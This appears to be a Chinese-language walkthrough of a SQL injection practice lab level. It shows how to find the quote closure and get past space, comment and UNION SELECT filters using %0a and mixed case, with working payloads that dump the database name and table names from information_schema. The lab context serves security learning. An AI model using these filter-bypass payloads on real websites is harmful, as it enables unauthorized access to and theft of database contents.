0X01
先查询闭合
?id=1' 报错 ?id=1'' 正确
知道是’的闭合语句
0X02那么开始我们的注入之旅
空格过滤了 尝试一下%0a绕过 #也被过滤了 那么用and '1'='1构造闭合
?id=1'||'1'='1
显示正确
我们来爆一下数据名称 哦豁 union select 被过滤了
/?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1
那我们绕过看看行吗? double
?id=1'%0Auniunionon%0Aseselectlect%0A1,database(),3||'1'='1
不得行不得行 那我们怎么绕过呀? 可以偷偷看看源码
正则表达式
PHP语法
正则表达式
PHP正则表达式的模式修饰符(官方文档)
PHP正则中的i,m,s,x,e
i
如果设定了此修正符,模式中的字符将同时匹配大小写字母。m
如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。s
如果设定了此修正符,模式中的圆点元字符.
匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。x
如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#
以及下一个换行符之间的所有字符,包括两头,也都被忽略。e
如果设定了此修正符,preg_replace()
在替换字符串中对逆向引用作正常的替换。?
在.
/+
/*
之后表示非贪婪匹配,.
/+
/*
限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?
就可以实现非贪婪或最小匹配。
爆数据库 这里 正则过滤了-号所以不能用-1
?id=999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1
0X02爆表名
?id=999'%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1
这里剩下的操作就是一套组合拳了
那么 我们进行一下总结吧
1 这里空格%0a代替 不知道26a和26关为什么不行
2这里正则表达式是只要你含有 就会一直匹配 双写不能绕过
3当-1不能用的时候 随便用一个错误的值把显示的位置让出来 给你要的数据
4 学习之路 少就是多 慢就是快
加油